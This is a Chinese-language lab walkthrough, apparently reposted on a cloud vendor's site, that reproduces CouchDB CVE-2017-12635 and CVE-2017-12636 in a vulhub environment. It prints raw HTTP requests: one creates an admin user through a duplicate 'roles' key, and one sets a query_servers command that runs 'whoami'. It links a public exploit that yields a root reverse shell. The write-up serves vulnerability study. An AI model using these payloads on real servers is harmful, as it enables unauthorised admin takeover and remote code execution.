温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

发布时间:2021-12-28 17:24:25 来源:亿速云 阅读:236 作者:柒染 栏目:安全技术

本篇文章为大家展示了如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

CouchDB是一个开源的面向文档的数据库管理系统,可以通过RESTful JavaScript Object Notation(JSON)API访问。Apache CouchDB是专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库

漏洞影响版本:小于 1.7.0 以及 小于 2.1.1

一、漏洞原理       

CVE-2017-12635:Erlang和JavaScript,对JSON解析方式的不同,导致语句执行产生差异性。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

举例:Erlang:> jiffy:decode("{"a":"1", "a":"2"}").{[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}

JavaScript> JSON.parse("{"a":"1", "a": "2"}"){a: "2"}

Ps:在定义一对键值对时,Eralang解析器将存储两个值;javascript只存储第二个值。但jiffy实现时,getter函数只返回第一个值。

CVE-2017-12636:由于数据库自身设计原因,管理员身份可以通过HTTP(S)方式,配置数据库。在某些配置中,可设置可执行文件的路径,在数据库运行范围内执行。

CVE-2017-12635结合CVE-2017-12636可实现远程代码执行

二、准备环境        

攻击机(kali):192.168.29.130

被攻击机(Ubuntu):192.168.29.141(使用vulhub搭建镜像环境)

备用机:真实机(含python3环境)

测试环境地址:https://vulhub.org/#/environments/couchdb/CVE-2017-12635/

三、环境搭建       

1.下载vulhub的漏洞环境,进入对应的目录下面,使用命令sudo docker-compose buildsudo docker-compose up -d搭建镜像环境

如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

2. 查看Ubuntu服务器(被攻击机)的IP地址(192.168.29.141)如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

3. 访问搭建完成以后的couchdb(该环境为2.1.0版本)http://192.168.29.141:5984/_utils/#login如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

四、漏洞复现         

1.抓取数据包发送到重放模块,利用CVE-2017-12635漏洞创建一个管理员用户,用户名为xx,密码为:xx。Ps: 发送包含两个roles的数据包,即可绕过限制。Erlang和JavaScript,对JSON解析方式的不同,所以这样可以使当前用户赋予“_admin”身份

PUT /_users/org.couchdb.user:xx HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0Content-Length: 100{"type": "user","name": "xx","roles": ["_admin"],"roles": [],"password": "xx"}

如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

2.使用刚刚注册的账户:xx,密码:xx;登陆到后端系统如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

3.利用CVE-2017-12636漏洞必须登录到管理员用户才能进行操作,所以说需要结合CVE-2017-12635漏洞进行利用。其中测试环境带有poc:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py,下载poc修改目标IP以及couchdb版本信息即可实现攻击操作     4.kali攻击机开启监听443端口如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

5.利用第3步下载的poc文件(备用机的python3环境,也可以使用kali的python3环境)如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

6.会在kali攻击机上面建立会话连接,并且是root权限

如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

7. Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问/_membership即可:(也可在登陆状态下访问该链接)

GET /_membership HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: AuthSession=eHg6NUVGMEI4RDE6g1lmNPR5o8RIBREQUmfFXqZClJ4Upgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0

如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

8.可见,我们这里只有一个node,名字是nonode@nohost。然后,我们修改nonode@nohost的配置即可实现对服务器端写入文件:

PUT /_node/nonode@nohost/_config/query_servers/cmd HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: AuthSession=eHg6NUVGMTlDRjk6DPmoeDMHF5ZuRX_Py20A1EL4JvcUpgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0Content-Length: 16"whoami >/1.txt"

如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

9.根据第6步的时候建立的监听的信息,此时可查看创建的文件信息如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

上述内容就是如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注亿速云行业资讯频道。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI